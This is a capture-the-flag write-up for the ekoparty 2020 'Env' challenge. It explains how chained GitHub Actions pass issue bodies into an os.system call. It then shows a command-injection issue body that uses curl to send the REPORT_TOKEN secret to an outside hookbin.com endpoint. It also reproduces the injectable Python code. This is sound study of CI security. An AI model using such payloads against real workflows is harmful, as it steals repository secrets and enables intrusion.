Rating:
### Follow up of Leak/Docs
After solving Docs, we have two repositories
1. `ekoparty2020/ekoparty`
2. `ekoparty2020/ekoparty-internal`
Both repositories have GitHub Actions enabled and the trigger is creating an issue in the public repository. It forwards issues into the privat repository, which has another GitHub Action implemented.
Lets look at the first action in the public repository:
```
name: Bounce issues from public repo to private repo
on:
issues:
types: [opened]
jobs:
issue-label-check:
runs-on: ubuntu-latest
steps:
- name: Check trigger label
if: ${{ !contains(github.event.issue.labels.*.name, 'Staff Report') }}
run: |
echo "No trigger label found, aborting workflow (not an error!)"
exit 1
- name: Set up Python3
if: ${{ success() }}
uses: actions/setup-python@v1
with:
python-version: "3.7"
- name: Checkout this repo
if: ${{ success() }}
uses: actions/checkout@v2
- name: Run the python3 script for this action
if: ${{ success() }}
env:
# where the bounced issue came from
SRC_REPO_TOKEN: ${{ secrets.GITHUB_TOKEN }}
SRC_REPO_ISSUE: ${{ github.event.issue.number }}
# where the bounced issue will go
DST_REPO: 'ekoparty2020/ekoparty-internal'
DST_REPO_TOKEN: ${{ secrets.INTERNAL_TOKEN }}
run: |
# external report to internal report
pip3 install pyGithub
pip3 install sh
python3 .github/workflows/issue-bouncer.py
```
This is call when an issue is opened, after going through the steps it checks if the issues is labeled as "Staff Report", if ti has, it launches `issue-bouncer.py` which forwards the issue to the private repository:
```
#!/usr/bin/env python3
# a simple way to make public issues private so people can report any issues to us in private
import os
import sys
import re
import hashlib
import time
import sh
from github import Github
def getenv(name):
val = os.environ.get(name)
if val == None:
raise ValueError(f'No such environment variable: {name}')
return val
def run():
# pull our repo access
src_repo = Github(getenv('SRC_REPO_TOKEN')).get_repo(getenv('GITHUB_REPOSITORY'))
dst_repo = Github(getenv('DST_REPO_TOKEN')).get_repo(getenv('DST_REPO')) # bounce to ekoparty-internal
# pull the src issue
src_issue_id = int(getenv('SRC_REPO_ISSUE'))
src_issue = src_repo.get_issue(src_issue_id)
# bounce a comment back to the src issue
src_issue.create_comment('Thank you for submitting a staff report! This issue will be filed to the internal ekoparty2020 staff repo and triaged ASAP!')
# bounce the issue through to the internal repo
dst_repo.create_issue(title=src_issue.title, body=src_issue.body, labels=[dst_repo.get_label('Staff Report')])
# update the source issue title and make contents private
src_issue.edit(title="This issue has been filed with staff internal repo! Thanks!", body='', state='closed')
return 0
try:
sys.exit(run())
except Exception as e:
print("Error: {0}".format(e))
sys.exit(1)
```
Nothing interesting here, lets look at the code from the internal private repository, the action is the same, only difference is that it calls this script `issue-notify.py`:
```
#!/usr/bin/env python3
import os
import sys
import time
import uuid
import sh
from github import Github
def getenv(name):
val = os.environ.get(name)
if val == None:
raise ValueError(f'No such environment variable: {name}')
return val
def issue_notify(title, body, repo):
# just echo the body into the report repo at /tmp and our scraper script will pick them up and mail them out to staff@
notify_id = str(uuid.uuid4())
# only notify on very important issues to reduce spam!
if 'very important' in title:
os.system('echo "%s" > /tmp/%s' % (body, notify_id))
return
def run():
issue_notify(getenv('ISSUE_TITLE'), getenv('ISSUE_BODY'), Github(getenv('REPORT_TOKEN')))
return
try:
sys.exit(run())
except Exception as e:
print("Error: {0}".format(e))
sys.exit(1)
```
Nice! A `os.system` call with variable we control passed to it. Now we can do practically anything as we can execute anything remotely on using the system call. Looking around the code and at the challenge title `Env` I guess we need to leak the environmental variable. `ISSUE_TITLE` and `ISSUE_BODY` we already know, so the `REPORT_TOKEN` seems intereseting.
Also there needs to be`very important` in the issue title to go through! So two things, label, and `very important` in the issue title.
I created hook on hookbin.com and crafted the Issue body to make a `curl` call to my hookbin hook with the `REPORT_TOKEN` env variable as parameter.
So here is the issue title
```
[Staff Report] very important
```
Here is the issue body:
```
"; curl -X POST "https://hookb.in/NO3ewGYmEGHWZZpRg7XZ?token="$REPORT_TOKEN; echo "1
```
Which translated to this `os.system` call:
```
echo ""; curl -X POST "https://hookb.in/NO3ewGYmEGHWZZpRg7XZ?token="$REPORT_TOKEN; echo "1" > /tmp/1
```
Then I just checked the hookbin for incoming request containing the flag as token query parameter.
![flag](https://i.ibb.co/Pwsnyqc/Screenshot-from-2020-09-27-15-25-51.png)